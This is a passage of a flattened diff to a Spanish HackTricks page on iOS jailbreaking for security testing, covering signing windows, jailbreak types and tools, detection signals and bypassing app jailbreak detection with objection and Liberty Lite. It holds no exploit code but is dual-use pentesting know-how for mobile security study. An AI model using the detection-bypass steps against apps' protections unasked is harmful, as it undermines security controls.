dispositivo** (por ejemplo, código personalizado o descargado de tiendas de aplicaciones alternativas como Cydia o Sileo). La palabra "jailbreak" es una referencia coloquial a las herramientas todo en uno que automatizan el proceso de desactivación. -## Consideraciones de Jailbreaking +### Consideraciones sobre el jailbreaking -El jailbreaking de un dispositivo iOS se está volviendo cada vez más **complicado** porque Apple sigue endureciendo el sistema y parcheando las vulnerabilidades explotadas. El jailbreaking se ha convertido en un procedimiento muy sensible al tiempo porque **Apple deja de firmar estas versiones vulnerables relativamente pronto después de lanzar una corrección** (a menos que el jailbreak se beneficie de vulnerabilidades basadas en hardware, como el [exploit limera1n](https://www.theiphonewiki.com/wiki/Limera1n) que afecta al BootROM del iPhone 4 y el iPad 1). Esto significa que **no puedes volver a una versión específica de iOS una vez que Apple deja de firmar el firmware**. +El jailbreaking de un dispositivo iOS se está volviendo cada vez más **complicado** porque Apple sigue fortaleciendo el sistema y parcheando las vulnerabilidades explotadas. El jailbreaking se ha convertido en un procedimiento muy sensible al tiempo porque **Apple deja de firmar estas versiones vulnerables relativamente pronto después de lanzar una corrección** (a menos que el jailbreak se beneficie de vulnerabilidades basadas en hardware, como el exploit [limera1n](https://www.theiphonewiki.com/wiki/Limera1n) que afecta al BootROM del iPhone 4 y el iPad 1). Esto significa que **no puedes volver a una versión específica de iOS una vez que Apple deja de firmar el firmware**. -Si tienes un dispositivo jailbroken que usas para pruebas de seguridad, **mantenlo** tal como está a menos que estés 100% seguro de que puedes volver a jailbreaklo después de actualizar a la última versión de iOS. +Si tienes un dispositivo jailbroken que utilizas para pruebas de seguridad, **consérvalo** tal como está a menos que estés 100% seguro de que puedes volver a hacerle jailbreak después de actualizar a la última versión de iOS. -Las actualizaciones de iOS se basan en un proceso de desafío-respuesta (generando los llamados blobs SHSH como resultado). El dispositivo permitirá la instalación del sistema operativo solo si la respuesta al desafío está firmada por Apple. Esto es lo que los investigadores llaman una "ventana de firma", y es la razón por la que **no puedes simplemente almacenar el paquete de firmware OTA que descargaste y cargarlo en el dispositivo cuando quieras**. Durante las actualizaciones menores de iOS, dos versiones pueden estar firmadas por Apple (la última y la versión anterior de iOS). Esta es la única situación en la que puedes degradar el dispositivo iOS. Puedes **comprobar la ventana de firma actual y descargar el firmware OTA desde el** [**sitio web de descargas de IPSW**](https://ipsw.me). +Las actualizaciones de iOS se basan en un proceso de desafío-respuesta (generando los llamados SHSH blobs como resultado). El dispositivo solo permitirá la instalación del sistema operativo si la respuesta al desafío está firmada por Apple. Esto es lo que los investigadores llaman una "ventana de firma", y es la razón por la cual **no puedes simplemente almacenar el paquete de firmware OTA que descargaste y cargarlo en el dispositivo cuando quieras**. Durante las actualizaciones menores de iOS, es posible que Apple firme dos versiones (la más reciente y la versión anterior). Esta es la única situación en la que puedes volver a una versión anterior de iOS. Puedes **verificar la ventana de firma actual y descargar el firmware OTA desde el** [**sitio web de IPSW Downloads**](https://ipsw.me). {% hint style="danger" %} -**Actualizar el sistema operativo elimina el efecto del jailbreaking.** +**Actualizar el sistema operativo elimina el efecto del jailbreaking**. {% endhint %} -## Tipos de Jailbreak +### Tipos de jailbreak -* Los **jailbreaks atados** no persisten a través de reinicios, por lo que volver a aplicar los jailbreaks requiere que el dispositivo esté conectado (atado) a una computadora durante cada reinicio. El dispositivo puede no reiniciarse en absoluto si la computadora no está conectada. -* Los **jailbreaks semi-atados** no se pueden volver a aplicar a menos que el dispositivo esté conectado a una computadora durante el reinicio. El dispositivo también puede arrancar en modo sin jailbreak por sí solo. -* Los **jailbreaks semi-desatados** permiten que el dispositivo arranque por sí solo, pero los parches del kernel (o las modificaciones de usuario) para deshabilitar la firma de código no se aplican automáticamente. El usuario debe volver a jailbreakear el dispositivo iniciando una aplicación o visitando un sitio web (no se requiere una conexión a una computadora, de ahí el término desatado). -* Los **jailbreaks sin ataduras** son la opción más popular para los usuarios finales porque solo necesitan aplicarse una vez, después de lo cual el dispositivo estará permanentemente jailbroken. +* Los **jailbreaks tethered** no persisten después de reiniciar, por lo que es necesario conectar (tether) el dispositivo a una computadora en cada reinicio para volver a aplicar el jailbreak. El dispositivo puede no reiniciarse en absoluto si no está conectado a la computadora. +* Los jailbreaks **semi-tethered** no se pueden volver a aplicar a menos que el dispositivo esté conectado a una computadora durante el reinicio. El dispositivo también puede arrancar en modo sin jailbreak por sí solo. +* Los jailbreaks **semi-untethered** permiten que el dispositivo arranque por sí solo, pero los parches del kernel (o las modificaciones en el espacio de usuario) para deshabilitar la firma de código no se aplican automáticamente. El usuario debe volver a hacerle jailbreak al dispositivo iniciando una aplicación o visitando un sitio web (sin necesidad de una conexión a una computadora, de ahí el término untethered). +* Los jailbreaks **untethered** son la opción más popular para los usuarios finales porque solo necesitan aplicarse una vez, después de lo cual el dispositivo estará permanentemente jailbroken. -## Herramientas de Jailbreaking +### Herramientas de jailbreaking Diferentes versiones de iOS requieren **técnicas de jailbreaking diferentes**. [Determina si hay un jailbreak público disponible para tu versión de iOS](https://canijailbreak.com). Ten cuidado con las herramientas falsas y el spyware, que a menudo se esconden detrás de nombres de dominio similares al nombre del grupo/autor del jailbreak. -La escena de jailbreaking de iOS evoluciona tan rápidamente que proporcionar instrucciones actualizadas es difícil. Sin embargo, podemos señalarte algunas fuentes que son actualmente confiables. +Ejemplos de versiones: -* [**¿Puedo hacer jailbreak?**](https://canijailbreak.com) +* [Checkra1n](https://checkra.in/): Funciona en dispositivos con el chip A7 y tan nuevos como el chip A11, por ejemplo, iPhone 5S hasta iPhone X. +* [Palera1n](https://palera.in/): Dispositivos Checkm8 (A8-A11) en iOS 15.0-16.5. +* [Unc0ver](https://checkra.in/): Solo funciona para versiones de iOS hasta 14.8, ya que Apple parcheó los problemas que permitían que Unc0ver se ejecutara. + +La escena del jailbreak de iOS evoluciona tan rápidamente que proporcionar instrucciones actualizadas es difícil. Sin embargo, podemos señalarte algunas fuentes que son actualmente confiables: + +* [**Can I Jailbreak?**](https://canijailbreak.com) * [**The iPhone Wiki**](https://www.theiphonewiki.com) * [**Redmond Pie**](https://www.redmondpie.com) * [**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/) * [**https://checkra.in/**](https://checkra.in) -> Ten en cuenta que cualquier modificación que hagas en tu dispositivo es bajo tu propio riesgo. Si bien el jailbreaking es típicamente seguro, las cosas pueden salir mal y puedes terminar con +> Ten en cuenta que cualquier modificación que realices en tu dispositivo es bajo tu propio riesgo. Si bien el jailbreaking suele ser seguro, las cosas pueden salir mal y puedes terminar bloqueando tu dispositivo. Ninguna otra parte, excepto tú mismo, puede ser considerada responsable de cualquier daño. +### Beneficios + +El efecto secundario más importante de hacer Jailbreak es que **elimina cualquier aislamiento de seguridad establecido por el sistema operativo**. Por lo tanto, cualquier **aplicación en el dispositivo puede leer cualquier archivo** en el sistema de archivos, incluyendo archivos de otras aplicaciones, cookies y el llavero. + +Un dispositivo con Jailbreak permite a los usuarios **instalar aplicaciones no aprobadas** y aprovechar **más APIs**, a las cuales no se puede acceder de otra manera. + +{% hint style="warning" %} +**No se recomienda hacer Jailbreak en el dispositivo móvil para usuarios regulares** +{% endhint %} + +### **Después de hacer Jailbreak** + +{% content-ref url="basic-ios-testing-operations.md" %} +[basic-ios-testing-operations.md](basic-ios-testing-operations.md) +{% endcontent-ref %} + +### **Detección de Jailbreak** + +**Varias aplicaciones intentarán detectar si el dispositivo móvil tiene Jailbreak y, en ese caso, la aplicación no se ejecutará** + +* Después de hacer Jailbreak en un dispositivo iOS, **generalmente se instalan archivos y carpetas**, los cuales se pueden buscar para determinar si el dispositivo tiene Jailbreak. +* En un dispositivo con Jailbreak, las aplicaciones obtienen **acceso de lectura/escritura a nuevos archivos** fuera del aislamiento de seguridad. +* Algunas **llamadas a API** se **comportarán de manera diferente** +* La presencia del servicio **OpenSSH** +* Llamar a `/bin/sh` devolverá 1 en lugar de 0 + +**Más información sobre cómo detectar Jailbreak** [**aquí**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** + +Puedes intentar evitar estas detecciones utilizando la opción `ios jailbreak disable` de **objection**. + +## **Bypass de Detección de Jailbreak** + +* Puedes intentar evitar estas detecciones utilizando la opción `ios jailbreak disable` de **objection**. +* También puedes instalar la herramienta **Liberty Lite** (https://ryleyangus.com/repo/). Una vez que se haya agregado el repositorio, la aplicación debería aparecer en la pestaña de 'Búsqueda' + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +